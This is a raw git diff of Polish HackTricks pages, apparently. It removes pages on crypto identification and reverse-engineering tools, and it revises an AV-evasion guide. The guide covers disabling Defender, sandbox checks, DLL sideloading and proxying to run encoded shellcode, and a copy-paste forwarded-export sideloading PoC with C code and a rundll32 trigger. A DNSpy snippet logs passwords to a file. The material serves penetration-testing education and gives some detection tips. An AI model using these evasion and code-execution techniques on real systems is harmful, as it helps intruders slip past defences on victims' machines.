Sprawdź **stałe tabeli wyszukiwania**:
|
||||
|
||||
.png>)
|
||||
|
||||
Algorytm haszujący CRC wygląda jak:
|
||||
|
||||
.png>)
|
||||
|
||||
## APLib (Kompresja)
|
||||
|
||||
### Cechy
|
||||
|
||||
- Nie rozpoznawalne stałe
|
||||
- Możesz spróbować napisać algorytm w Pythonie i wyszukać podobne rzeczy w Internecie
|
||||
|
||||
### Identyfikacja
|
||||
|
||||
Wykres jest dość duży:
|
||||
|
||||
 (2) (1).png>)
|
||||
|
||||
Sprawdź **3 porównania, aby go rozpoznać**:
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,114 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Przewodnik po dekompilacji Wasm i kompilacji Wat
|
||||
|
||||
W dziedzinie **WebAssembly** narzędzia do **dekompilacji** i **kompilacji** są niezbędne dla programistów. Ten przewodnik wprowadza niektóre zasoby online i oprogramowanie do obsługi plików **Wasm (WebAssembly binary)** i **Wat (WebAssembly text)**.
|
||||
|
||||
## Narzędzia online
|
||||
|
||||
- Aby **dekompilować** Wasm do Wat, przydatne jest narzędzie dostępne w [demonstracji wasm2wat Wabt](https://webassembly.github.io/wabt/demo/wasm2wat/index.html).
|
||||
- Do **kompilacji** Wat z powrotem do Wasm służy [demonstracja wat2wasm Wabt](https://webassembly.github.io/wabt/demo/wat2wasm/).
|
||||
- Inną opcję dekompilacji można znaleźć w [web-wasmdec](https://wwwg.github.io/web-wasmdec/).
|
||||
|
||||
## Rozwiązania programowe
|
||||
|
||||
- Dla bardziej zaawansowanego rozwiązania, [JEB od PNF Software](https://www.pnfsoftware.com/jeb/demo) oferuje rozbudowane funkcje.
|
||||
- Otwarty projekt [wasmdec](https://github.com/wwwg/wasmdec) jest również dostępny do zadań dekompilacji.
|
||||
|
||||
# Zasoby do dekompilacji .Net
|
||||
|
||||
Dekompilacja zestawów .Net może być realizowana za pomocą narzędzi takich jak:
|
||||
|
||||
- [ILSpy](https://github.com/icsharpcode/ILSpy), które oferuje również [wtyczkę do Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode), umożliwiającą użycie na różnych platformach.
|
||||
- Do zadań związanych z **dekompilacją**, **modyfikacją** i **rekompilacją** zaleca się [dnSpy](https://github.com/0xd4d/dnSpy/releases). **Kliknięcie prawym przyciskiem** na metodzie i wybranie **Modify Method** umożliwia zmiany w kodzie.
|
||||
- [dotPeek od JetBrains](https://www.jetbrains.com/es-es/decompiler/) to kolejna alternatywa do dekompilacji zestawów .Net.
|
||||
|
||||
## Ulepszanie debugowania i logowania z DNSpy
|
||||
|
||||
### Logowanie DNSpy
|
||||
|
||||
Aby logować informacje do pliku za pomocą DNSpy, wprowadź następujący fragment kodu .Net:
|
||||
|
||||
%%%cpp
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
File.AppendAllText(path, "Hasło: " + password + "\n");
|
||||
%%%
|
||||
|
||||
### Debugowanie DNSpy
|
||||
|
||||
Aby skutecznie debugować z DNSpy, zaleca się sekwencję kroków w celu dostosowania **atrybutów Assembly** do debugowania, zapewniając, że optymalizacje, które mogą utrudniać debugowanie, są wyłączone. Proces ten obejmuje zmianę ustawień `DebuggableAttribute`, rekompilację zestawu i zapisanie zmian.
|
||||
|
||||
Ponadto, aby debugować aplikację .Net uruchamianą przez **IIS**, wykonanie `iisreset /noforce` restartuje IIS. Aby dołączyć DNSpy do procesu IIS w celu debugowania, przewodnik instruuje, aby wybrać proces **w3wp.exe** w DNSpy i rozpocząć sesję debugowania.
|
||||
|
||||
Aby uzyskać pełny widok załadowanych modułów podczas debugowania, zaleca się dostęp do okna **Modules** w DNSpy, a następnie otwarcie wszystkich modułów i posortowanie zestawów dla łatwiejszej nawigacji i debugowania.
|
||||
|
||||
Ten przewodnik podsumowuje istotę dekompilacji WebAssembly i .Net, oferując ścieżkę dla programistów do łatwego poruszania się po tych zadaniach.
|
||||
|
||||
## **Dekompilator Java**
|
||||
|
||||
Aby dekompilować bajtkod Java, te narzędzia mogą być bardzo pomocne:
|
||||
|
||||
- [jadx](https://github.com/skylot/jadx)
|
||||
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## **Debugowanie DLL**
|
||||
|
||||
### Używając IDA
|
||||
|
||||
- **Rundll32** jest ładowany z określonych ścieżek dla wersji 64-bitowych i 32-bitowych.
|
||||
- **Windbg** jest wybierany jako debugger z opcją wstrzymania przy ładowaniu/wyładowywaniu biblioteki włączoną.
|
||||
- Parametry wykonania obejmują ścieżkę DLL i nazwę funkcji. Ta konfiguracja zatrzymuje wykonanie przy każdym ładowaniu DLL.
|
||||
|
||||
### Używając x64dbg/x32dbg
|
||||
|
||||
- Podobnie jak w IDA, **rundll32** jest ładowany z modyfikacjami wiersza poleceń, aby określić DLL i funkcję.
|
||||
- Ustawienia są dostosowywane, aby przerwać przy wejściu DLL, co pozwala na ustawienie punktu przerwania w żądanym punkcie wejścia DLL.
|
||||
|
||||
### Obrazy
|
||||
|
||||
- Punkty zatrzymania wykonania i konfiguracje są ilustrowane za pomocą zrzutów ekranu.
|
||||
|
||||
## **ARM i MIPS**
|
||||
|
||||
- Do emulacji, [arm_now](https://github.com/nongiach/arm_now) jest przydatnym zasobem.
|
||||
|
||||
## **Shellcodes**
|
||||
|
||||
### Techniki debugowania
|
||||
|
||||
- **Blobrunner** i **jmp2it** to narzędzia do alokacji shellcodów w pamięci i debugowania ich za pomocą Ida lub x64dbg.
|
||||
- Blobrunner [wydania](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
|
||||
- jmp2it [skompilowana wersja](https://github.com/adamkramer/jmp2it/releases/)
|
||||
- **Cutter** oferuje emulację shellcode w oparciu o GUI i inspekcję, podkreślając różnice w obsłudze shellcode jako pliku w porównaniu do bezpośredniego shellcode.
|
||||
|
||||
### Deobfuskacja i analiza
|
||||
|
||||
- **scdbg** dostarcza informacji na temat funkcji shellcode i możliwości deobfuskacji.
|
||||
%%%bash
|
||||
scdbg.exe -f shellcode # Podstawowe informacje
|
||||
scdbg.exe -f shellcode -r # Raport analizy
|
||||
scdbg.exe -f shellcode -i -r # Interaktywne haki
|
||||
scdbg.exe -f shellcode -d # Zrzut zdekodowanego shellcode
|
||||
scdbg.exe -f shellcode /findsc # Znajdź offset startowy
|
||||
scdbg.exe -f shellcode /foff 0x0000004D # Wykonaj z offsetu
|
||||
%%%
|
||||
|
||||
- **CyberChef** do deasemblacji shellcode: [przepis CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
|
||||
|
||||
## **Movfuscator**
|
||||
|
||||
- Obfuskator, który zastępuje wszystkie instrukcje `mov`.
|
||||
- Przydatne zasoby to [wyjaśnienie na YouTube](https://www.youtube.com/watch?v=2VF_wPkiBJY) oraz [slajdy PDF](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf).
|
||||
- **demovfuscator** może odwrócić obfuskację movfuscatora, wymagając zależności takich jak `libcapstone-dev` i `libz3-dev`, oraz instalacji [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md).
|
||||
|
||||
## **Delphi**
|
||||
|
||||
- Dla binarnych plików Delphi, zaleca się [IDR](https://github.com/crypto2011/IDR).
|
||||
|
||||
# Kursy
|
||||
|
||||
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
|
||||
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Deobfuskacja binarna\)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,92 +4,92 @@
|
||||
|
||||
**Ta strona została napisana przez** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
|
||||
## Zatrzymanie Defendera
|
||||
## Stop Defender
|
||||
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Narzędzie do zatrzymania działania Windows Defender.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): Narzędzie do zatrzymania działania Windows Defender poprzez podszycie się pod inne AV.
|
||||
- [Wyłącz Defendera jeśli jesteś administratorem](basic-powershell-for-pentesters/README.md)
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): Narzędzie do zatrzymania działania Windows Defender przez podszycie się pod inny AV.
|
||||
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
Obecnie AV korzystają z różnych metod sprawdzania, czy plik jest złośliwy, czy nie: wykrywanie statyczne, analiza dynamiczna, a w przypadku bardziej zaawansowanych EDR — analiza behawioralna.
|
||||
Obecnie AVs wykorzystują różne metody sprawdzania, czy plik jest złośliwy: static detection, dynamic analysis, oraz — w przypadku bardziej zaawansowanych EDRs — behavioural analysis.
|
||||
|
||||
### **Static detection**
|
||||
|
||||
Wykrywanie statyczne polega na oznaczaniu znanych złośliwych ciągów znaków lub ciągów bajtów w binarium lub skrypcie, a także na wydobywaniu informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że używanie znanych publicznych narzędzi może łatwiej doprowadzić do wykrycia, ponieważ prawdopodobnie były już analizowane i oznaczone jako złośliwe. Istnieje kilka sposobów obejścia tego rodzaju wykrywania:
|
||||
Static detection polega na oznaczaniu znanych złośliwych ciągów znaków lub tablic bajtów w binarnym pliku lub skrypcie, a także na wyciąganiu informacji z samego pliku (np. file description, company name, digital signatures, icon, checksum itp.). Oznacza to, że używanie znanych publicznych narzędzi może sprawić, że zostaniesz szybciej wykryty, ponieważ prawdopodobnie zostały już przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów obejścia tego typu wykrywania:
|
||||
|
||||
- **Encryption**
|
||||
|
||||
Jeśli zaszyfrujesz binarium, AV nie będzie w stanie wykryć twojego programu, ale będziesz potrzebował jakiegoś loadera do odszyfrowania i uruchomienia programu w pamięci.
|
||||
Jeśli zaszyfrujesz binarkę, AV nie będzie w stanie wykryć twojego programu, ale będziesz potrzebował jakiegoś loadera, aby odszyfrować i uruchomić program w pamięci.
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
Czasami wystarczy zmienić kilka ciągów w binarium lub skrypcie, aby przejść obok AV, ale może to być czasochłonne w zależności od tego, co próbujesz zniekształcić.
|
||||
Czasami wystarczy zmienić kilka stringów w binarce lub skrypcie, aby obejść AV, ale może to być czasochłonne w zależności od tego, co próbujesz zaciemnić.
|
||||
|
||||
- **Custom tooling**
|
||||
|
||||
Jeśli opracujesz własne narzędzia, nie będzie znanych złośliwych sygnatur, ale to wymaga dużo czasu i pracy.
|
||||
Jeśli opracujesz własne narzędzia, nie będzie znanych sygnatur, ale to wymaga dużo czasu i wysiłku.
|
||||
|
||||
> [!TIP]
|
||||
> Dobrym sposobem sprawdzenia wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dzieli on plik na wiele segmentów i zleca Defenderowi skanowanie każdego z nich osobno, dzięki czemu może dokładnie powiedzieć, które ciągi lub bajty w binarium są oznaczone.
|
||||
> Dobrym sposobem sprawdzenia wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Narzędzie dzieli plik na wiele segmentów i każdorazowo prosi Defender o przeskanowanie każdego z nich — w ten sposób możesz dokładnie zobaczyć, które stringi lub bajty w twojej binarce są oznaczane.
|
||||
|
||||
Gorąco polecam tę [playlistę na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) o praktycznym AV Evasion.
|
||||
Gorąco polecam obejrzeć ten [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) o praktycznym AV Evasion.
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
Analiza dynamiczna polega na uruchomieniu twojego binarium w sandboxie przez AV i obserwowaniu złośliwej aktywności (np. próby odszyfrowania i odczytania haseł z przeglądarki, wykonanie minidump na LSASS itp.). Ta część może być trudniejsza, ale oto kilka rzeczy, które możesz zrobić, by ominąć sandboxy.
|
||||
Dynamic analysis zachodzi, gdy AV uruchamia twoją binarkę w sandboxie i obserwuje złośliwą aktywność (np. próby odszyfrowania i odczytu haseł z przeglądarki, wykonanie minidumpa na LSASS itp.). Ta część może być trudniejsza, ale oto kilka rzeczy, które możesz zrobić, aby ominąć sandboksy.
|
||||
|
||||
- **Sleep before execution** W zależności od implementacji może to być świetny sposób na ominięcie dynamicznej analizy AV. AV mają bardzo mało czasu na przeskanowanie plików, by nie przeszkadzać użytkownikowi, więc długie sleeps mogą zaburzyć analizę binariów. Problem w tym, że wiele sandboxów AV może po prostu pominąć sleep w zależności od implementacji.
|
||||
- **Checking machine's resources** Zazwyczaj sandboxy mają bardzo małe zasoby do dyspozycji (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz też być bardzo kreatywny — np. sprawdzając temperaturę CPU lub prędkości wentylatorów; nie wszystko musi być zaimplementowane w sandboxie.
|
||||
- **Machine-specific checks** Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, by zobaczyć, czy pasuje do oczekiwanej; jeśli nie, możesz zakończyć działanie programu.
|
||||
- **Sleep before execution** W zależności od implementacji może to być świetny sposób na ominięcie dynamic analysis AV. AV mają bardzo mało czasu na skanowanie plików, aby nie przerywać pracy użytkownika, więc użycie długich sleepów może zaburzyć analizę binarek. Problem w tym, że wiele sandboksów AV może po prostu pominąć sleep, w zależności od implementacji.
|
||||
- **Checking machine's resources** Zazwyczaj sandboksy mają bardzo ograniczone zasoby (np. < 2GB RAM), żeby nie spowalniać maszyny użytkownika. Możesz też być kreatywny — np. sprawdzając temperaturę CPU lub prędkości wentylatorów; nie wszystko będzie zaimplementowane w sandboxie.
|
||||
- **Machine-specific checks** Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera i jeśli się nie zgadza — zakończyć działanie programu.
|
||||
|
||||
Okazuje się, że nazwa komputera w Sandboxie Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim malware przed detonacją — jeśli nazwa to HAL9TH, oznacza to, że jesteś wewnątrz sandboxa Defender, więc możesz zakończyć działanie programu.
|
||||
Okazuje się, że nazwa komputera sandboxa Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim malware przed detonacją — jeśli nazwa to HAL9TH, oznacza to, że jesteś wewnątrz sandboxa Defendera i możesz zakończyć działanie programu.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>źródło: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Kilka innych bardzo dobrych wskazówek od [@mgeeky](https://twitter.com/mariuszbit) dotyczących walki z sandboxami
|
||||
Kilka innych naprawdę dobrych wskazówek od [@mgeeky](https://twitter.com/mariuszbit) dotyczących obchodzenia się z Sandboksami
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> kanał #malware-dev</p></figcaption></figure>
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
Jak już wspomnieliśmy wcześniej w tym wpisie, **public tools** w końcu **zostaną wykryte**, więc powinieneś zadać sobie pytanie:
|
||||
Jak wspomnieliśmy wcześniej, **public tools** w końcu **zostaną wykryte**, więc powinieneś zadać sobie pytanie:
|
||||
|
||||
Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz użyć mimikatz**? A może możesz użyć innego, mniej znanego projektu, który również zrzuca LSASS.
|
||||
Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimikatz**? Czy nie możesz użyć innego, mniej znanego projektu, który również zrzuca LSASS?
|
||||
|
||||
Prawidłowa odpowiedź to prawdopodobnie to drugie. Biorąc mimikatz jako przykład — prawdopodobnie jest to jedno z, jeśli nie najbardziej wykrywane narzędzie przez AV i EDR; projekt jest super, ale jednocześnie koszmarem, jeśli chodzi o obchodzenie AV, więc po prostu poszukaj alternatyw do osiągnięcia tego, co chcesz zrobić.
|
||||
Prawidłowa odpowiedź to prawdopodobnie to drugie. Biorąc mimikatz jako przykład — prawdopodobnie jest to jedno z najbardziej wykrywanych narzędzi przez AVs i EDRs; projekt jest super, ale jednocześnie to koszmar przy próbach ominięcia AVs, więc po prostu poszukaj alternatyw dla tego, co chcesz osiągnąć.
|
||||
|
||||
> [!TIP]
|
||||
> Podczas modyfikowania payloadów w celu uniknięcia wykrycia upewnij się, że **wyłączyłeś automatyczne przesyłanie próbek** w Defender, i proszę, serio — **NIE WGRYWAJ NA VIRUSTOTAL**, jeśli twoim celem jest długoterminowe osiągnięcie evasion. Jeśli chcesz sprawdzić, czy twój payload zostanie wykryty przez konkretny AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
|
||||
> Przy modyfikowaniu payloadów w celu evasions, upewnij się, że wyłączyłeś automatyczne wysyłanie próbek w defender, i proszę — na serio, **NIE WGRYWAJ NA VIRUSTOTAL**, jeśli twoim celem jest długoterminowe osiągnięcie ominęcia wykryć. Jeśli chcesz sprawdzić, czy payload jest wykrywany przez konkretny AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne wysyłanie próbek i testuj tam, aż będziesz zadowolony z rezultatu.
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Kiedy to możliwe, zawsze **priorytetowo używaj DLL do evasion** — z mojego doświadczenia pliki DLL są zwykle **znacznie mniej wykrywane** i analizowane, więc to prosty trik, by w niektórych przypadkach unikać wykrycia (oczywiście jeśli twój payload ma sposób uruchomienia się jako DLL).
|
||||
Kiedykolwiek to możliwe, zawsze **priorytetyzuj używanie DLLs do evasions** — z mojego doświadczenia pliki DLL są zwykle **znacznie mniej wykrywane** i analizowane, więc to prosta sztuczka, która w niektórych przypadkach pozwala uniknąć wykrycia (o ile twój payload ma sposób uruchomienia się jako DLL).
|
||||
|
||||
Jak widać na tym obrazku, DLL Payload z Havoc ma współczynnik wykrycia 4/26 na antiscan.me, podczas gdy EXE payload ma 7/26.
|
||||
Jak widać na tym obrazku, DLL Payload z Havoc ma wynik wykrywalności 4/26 na antiscan.me, podczas gdy EXE ma 7/26.
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>porównanie na antiscan.me normalnego Havoc EXE payload vs normalnego Havoc DLL</p></figcaption></figure>
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
||||
|
||||
Teraz pokażemy kilka sztuczek, których możesz użyć z plikami DLL, aby być znacznie bardziej stealthy.
|
||||
Poniżej pokażemy kilka sztuczek, których możesz użyć z plikami DLL, aby być znacznie bardziej stealthy.
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading** wykorzystuje kolejność wyszukiwania DLL używaną przez loader, umieszczając aplikację ofiary i złośliwy payload(y) obok siebie.
|
||||
**DLL Sideloading** wykorzystuje kolejność wyszukiwania DLL przez loadera, pozycjonując aplikację ofiary i złośliwy payload obok siebie.
|
||||
|
||||
Możesz sprawdzić programy podatne na DLL Sideloading używając [Siofra](https://github.com/Cybereason/siofra) i następującego powershell script:
|
||||
Możesz sprawdzić programy podatne na DLL Sideloading za pomocą [Siofra](https://github.com/Cybereason/siofra) i następującego skryptu powershell:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
}
|
||||
```
|
||||
Ta komenda wyświetli listę programów podatnych na DLL hijacking w katalogu "C:\Program Files\\" oraz plików DLL, które próbują załadować.
|
||||
Ta komenda wyświetli listę programów podatnych na DLL hijacking w "C:\Program Files\\" oraz plików DLL, które próbują załadować.
|
||||
|
||||
Gorąco polecam samodzielnie **zbadać DLL Hijackable/Sideloadable programs**, ta technika jest dość trudna do wykrycia, jeśli wykonana poprawnie, ale jeśli użyjesz publicznie znanych DLL Sideloadable programs, możesz zostać łatwo wykryty.
|
||||
Gorąco polecam, abyś samodzielnie **zbadał programy DLL Hijackable/Sideloadable**, ta technika jest dość dyskretna, jeśli zostanie prawidłowo wykonana, ale jeśli użyjesz publicznie znanych DLL Sideloadable programs, możesz zostać łatwo wykryty.
|
||||
|
||||
Sam fakt umieszczenia złośliwego DLL o nazwie, którą program oczekuje załadować, nie spowoduje załadowania twojego payloadu, ponieważ program oczekuje określonych funkcji w tym DLL; aby rozwiązać ten problem, użyjemy innej techniki zwanej **DLL Proxying/Forwarding**.
|
||||
Samo umieszczenie złośliwego pliku DLL o nazwie, którą program oczekuje załadować, nie uruchomi twojego payloadu, ponieważ program oczekuje określonych funkcji w tym DLL; aby rozwiązać ten problem, użyjemy innej techniki zwanej **DLL Proxying/Forwarding**.
|
||||
|
||||
**DLL Proxying** przekierowuje wywołania, które program wykonuje z proxy (i złośliwego) DLL do oryginalnego DLL, zachowując funkcjonalność programu i umożliwiając obsługę wykonania twojego payloadu.
|
||||
**DLL Proxying** przekierowuje wywołania, które program wykonuje, z proxy (i złośliwego) DLL do oryginalnego DLL, zachowując funkcjonalność programu i pozwalając na obsługę wykonania twojego payloadu.
|
||||
|
||||
Będę używać projektu [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) autorstwa [@flangvik](https://twitter.com/Flangvik/)
|
||||
Będę korzystał z projektu [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) autorstwa [@flangvik](https://twitter.com/Flangvik/)
|
||||
|
||||
Oto kroki, które wykonałem:
|
||||
```
|
||||
@ -98,48 +98,46 @@ Oto kroki, które wykonałem:
|
||||
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||
```
|
||||
Ostatnie polecenie utworzy 2 pliki: szablon kodu źródłowego DLL oraz oryginalny DLL z zmienioną nazwą.
|
||||
Ostatnie polecenie da nam 2 pliki: szablon kodu źródłowego DLL oraz oryginalną DLL z zmienioną nazwą.
|
||||
|
||||
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||
```
|
||||
Oto wyniki:
|
||||
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
|
||||
Zarówno nasz shellcode (zakodowany przy użyciu [SGN](https://github.com/EgeBalci/sgn)) jak i proxy DLL mają wskaźnik wykrywalności 0/26 w [antiscan.me](https://antiscan.me)! Nazwałbym to sukcesem.
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Zdecydowanie polecam obejrzeć [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) o DLL Sideloading oraz [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omówiliśmy, w szerszym ujęciu.
|
||||
> I **gorąco polecam** obejrzeć [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) o DLL Sideloading oraz także [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omawialiśmy bardziej szczegółowo.
|
||||
|
||||
### Abusing Forwarded Exports (ForwardSideLoading)
|
||||
|
||||
Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
|
||||
Moduły Windows PE mogą eksportować funkcje, które są w rzeczywistości "forwarderami": zamiast wskazywać na kod, wpis eksportu zawiera łańcuch ASCII w postaci `TargetDll.TargetFunc`. Gdy wywołujący rozwiąże eksport, loader Windows:
|
||||
|
||||
- Załaduj `TargetDll`, jeśli nie jest już załadowany
|
||||
- Załaduje `TargetDll`, jeśli nie jest jeszcze załadowany
|
||||
- Rozwiąże `TargetFunc` z niego
|
||||
|
||||
Key behaviors to understand:
|
||||
- Jeśli `TargetDll` jest KnownDLL, zostanie dostarczony z chronionej przestrzeni nazw KnownDLLs (e.g., ntdll, kernelbase, ole32).
|
||||
- Jeśli `TargetDll` nie jest KnownDLL, stosowany jest standardowy porządek wyszukiwania DLL, który obejmuje katalog modułu, który wykonuje forward resolution.
|
||||
Kluczowe zachowania, które warto zrozumieć:
|
||||
- Jeśli `TargetDll` jest KnownDLL, jest dostarczany z chronionej przestrzeni nazw KnownDLLs (np. ntdll, kernelbase, ole32).
|
||||
- Jeśli `TargetDll` nie jest KnownDLL, stosowany jest normalny porządek wyszukiwania DLL, który obejmuje katalog modułu wykonującego rozwiązywanie przekierowania eksportu.
|
||||
|
||||
This enables an indirect sideloading primitive: find a signed DLL that exports a function forwarded to a non-KnownDLL module name, then co-locate that signed DLL with an attacker-controlled DLL named exactly as the forwarded target module. When the forwarded export is invoked, the loader resolves the forward and loads your DLL from the same directory, executing your DllMain.
|
||||
To umożliwia pośrednią prymitywę sideloading: znajdź podpisany DLL, który eksportuje funkcję forwardowaną do nazwy modułu niebędącej KnownDLL, następnie umieść obok tego podpisanego DLL atakujący kontrolowany DLL o dokładnie takiej samej nazwie, jak forwardowany moduł docelowy. Kiedy forwardowany eksport zostanie wywołany, loader rozwiąże forward i załaduje Twój DLL z tego samego katalogu, uruchamiając Twój DllMain.
|
||||
|
||||
Example observed on Windows 11:
|
||||
Przykład zaobserwowany w Windows 11:
|
||||
```
|
||||
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
`NCRYPTPROV.dll` nie jest KnownDLL, więc jest rozwiązywany za pomocą normalnej kolejności wyszukiwania.
|
||||
`NCRYPTPROV.dll` nie jest KnownDLL, więc jest rozwiązywany przy użyciu normalnej kolejności przeszukiwania.
|
||||
|
||||
PoC (kopiuj-wklej):
|
||||
PoC (copy-paste):
|
||||
1) Skopiuj podpisany systemowy DLL do zapisywalnego folderu
|
||||
```
|
||||
copy C:\Windows\System32\keyiso.dll C:\test\
|
||||
```
|
||||
2) Umieść złośliwy `NCRYPTPROV.dll` w tym samym folderze. Minimalny `DllMain` wystarczy, aby uzyskać wykonanie kodu; nie musisz implementować przekierowanej funkcji, aby wywołać `DllMain`.
|
||||
2) Upuść złośliwy `NCRYPTPROV.dll` w tym samym folderze. Wystarczy minimalny DllMain, aby uzyskać wykonanie kodu; nie musisz implementować funkcji forwardowanej, aby wywołać DllMain.
|
||||
```c
|
||||
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
|
||||
#include <windows.h>
|
||||
@ -151,35 +149,35 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
3) Wywołaj forward przy użyciu podpisanego LOLBin:
|
||||
3) Wyzwól przekierowanie za pomocą podpisanego LOLBin:
|
||||
```
|
||||
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
|
||||
```
|
||||
Zaobserwowane zachowanie:
|
||||
Observed behavior:
|
||||
- rundll32 (signed) ładuje side-by-side `keyiso.dll` (signed)
|
||||
- Podczas rozwiązywania `KeyIsoSetAuditingInterface`, loader podąża za przekierowaniem do `NCRYPTPROV.SetAuditingInterface`
|
||||
- Podczas rozwiązywania `KeyIsoSetAuditingInterface`, loader podąża za forwardem do `NCRYPTPROV.SetAuditingInterface`
|
||||
- Następnie loader ładuje `NCRYPTPROV.dll` z `C:\test` i wykonuje jego `DllMain`
|
||||
- Jeśli `SetAuditingInterface` nie jest zaimplementowana, otrzymasz błąd "missing API" dopiero po tym, jak `DllMain` już się wykonał
|
||||
- Jeśli `SetAuditingInterface` nie jest zaimplementowane, otrzymasz błąd "missing API" dopiero po tym, jak `DllMain` już się wykonał
|
||||
|
||||
Wskazówki do wykrywania:
|
||||
- Skoncentruj się na forwarded exports, gdzie moduł docelowy nie jest KnownDLL. KnownDLLs są wymienione w `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
|
||||
- Możesz wyliczyć forwarded exports za pomocą narzędzi takich jak:
|
||||
Hunting tips:
|
||||
